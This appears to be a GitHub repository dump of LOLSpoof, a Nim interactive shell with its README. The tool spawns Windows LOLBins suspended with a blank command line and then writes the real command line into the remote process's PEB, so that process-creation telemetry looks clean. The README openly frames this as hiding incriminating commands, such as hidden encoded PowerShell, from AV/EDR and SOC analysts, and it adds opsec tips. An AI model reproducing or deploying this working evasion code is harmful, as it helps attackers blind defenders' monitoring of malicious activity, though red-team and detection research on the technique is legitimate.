Repository: itaymigdal/LOLSpoof Branch: main Commit: ea2f4681253a Files: 2 Total size: 5.2 KB Directory structure: gitextract__jxwzlo4/ ├── LOLSpoof.nim └── README.md ================================================ FILE CONTENTS ================================================ ================================================ FILE: LOLSpoof.nim ================================================ import os import winim import rdstdin import strutils import strformat const banner = """ _ _____ _ _____ __ | | | _ | | / ___| / _| | | | | | | | \ `--. _ __ ___ ___ | |_ | | | | | | | `--. \ '_ \ / _ \ / _ \| _| | |___\ \_/ / |____/\__/ / |_) | (_) | (_) | | \_____/\___/\_____/\____/| .__/ \___/ \___/|_| | | |_| An interactive shell to spoof some LOLBins try !help """ const help = """ !exit -> Exit !cls -> Clear the screen !help -> This help message """ const prompt = "[LOLSpoof] > " proc onexit() {.noconv.} = quit(0) proc executeSpoofedLolbin(realCmdlineN: string): bool = # Create spoodef cmdline var binary = realCmdlineN.split(" ")[0] var argsLen = len(realCmdlineN) - len(binary) var spoofedCmdlineN = binary & ' '.repeat(argsLen) var realCmdline = newWideCString(realCmdlineN) var spoofedCmdline = newWideCString(spoofedCmdlineN) # Create suspended process var si: STARTUPINFOEX var pi: PROCESS_INFORMATION if CreateProcess( NULL, spoofedCmdline, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, addr si.StartupInfo, addr pi ) != TRUE: return false # Get remote PEB address var bi: PROCESS_BASIC_INFORMATION var ret: DWORD if NtQueryInformationProcess( pi.hProcess, 0, addr bi, cast[windef.ULONG](sizeof(bi)), addr ret ) != 0: return false # Get RTL_USER_PROCESS_PARAMETERS address let peb = bi.PebBaseAddress let processParametersOffset = cast[int](peb) + 0x20 var processParametersAddress: LPVOID if ReadProcessMemory(pi.hProcess, cast[LPCVOID](processParametersOffset), addr processParametersAddress, 8, NULL) != TRUE: return false # Get CommandLine member address var cmdLineOffset = cast[int](processParametersAddress) + 0x70 + 0x8 var cmdLineAddress: LPVOID if ReadProcessMemory(pi.hProcess, cast[LPCVOID](cmdLineOffset), addr cmdLineAddress, 8, NULL) != TRUE: return false # Change command line if WriteProcessMemory( pi.hProcess, cast[LPVOID](cmdLineAddress), cast[LPCVOID](realCmdline), len(realCmdline) * 2, NULL ) != TRUE: return false # Resume process ResumeThread(pi.hThread) WaitForSingleObject(pi.hThread, INFINITE) return true proc handleSpecialCommand(cmd: string) = if cmd == "!exit": onexit() elif cmd == "!cls": discard execShellCmd("cls") elif cmd == "!help": echo help else: echo fmt"Could not parse command: {cmd}" when isMainModule: # Handle Ctrl+C setControlCHook(onexit) # Print help echo banner while true: # Get and parse command var cmdline = readLineFromStdin(prompt) cmdline = cmdline.strip(trailing=false) if cmdline == "": continue # Handle special command if cmdline.startsWith("!"): handleSpecialCommand(cmdline) continue var cmdlineSeq = cmdline.split(" ") # Find LOLBin and reconstruct commandline var binary = findExe(cmdlineSeq[0]) if binary == "": echo fmt"Could not find binary: {cmdlineSeq[0]}" continue cmdlineSeq[0] = binary cmdline = join(cmdlineSeq, " ") # Fire in the hole ! if not executeSpoofedLolbin(cmdline): echo fmt"Could not spoof binary: {cmdlineSeq[0]}" ================================================ FILE: README.md ================================================ # LOLSpoof LOLSpoof is a an interactive shell program that automatically spoof the command line arguments of the spawned process. Just call your incriminate-looking command line LOLBin (e.g. `powershell -w hidden -enc ZwBlAHQALQBwAHIAbwBjAGUA....`) and LOLSpoof will ensure that the process creation telemetry appears legitimate and clear. ![](/Example.png) > Use only for 64-bit LOLBins ## Why Process command line is a very monitored telemetry, being thoroughly inspected by AV/EDRs, SOC analysts or threat hunters. ## How 1. Prepares the spoofed command line out of the real one: `lolbin.exe " " * sizeof(real arguments)` 2. Spawns that suspended LOLBin with the spoofed command line 3. Gets the remote PEB address 4. Gets the address of RTL_USER_PROCESS_PARAMETERS struct 5. Gets the address of the command line unicode buffer 6. Overrides the fake command line with the real one 7. Resumes the main thread ## Opsec considerations Although this simple technique helps to bypass command line detection, it may introduce other suspicious telemetry: 1. Creation of suspended process 2. The new process has trailing spaces (but it's really easy to make it a repeated character or even random data instead) 3. Write to the spawned process with WriteProcessMemory ## Build Built with Nim 1.6.12 (compiling with Nim 2.X yields errors!) `nimble install winim` ## Known issue Programs that clear or change the previous printed console messages (such as `timeout.exe 10`) breaks the program. when such commands are employed, you'll need to restart the console. Don't know how to fix that, open to suggestions.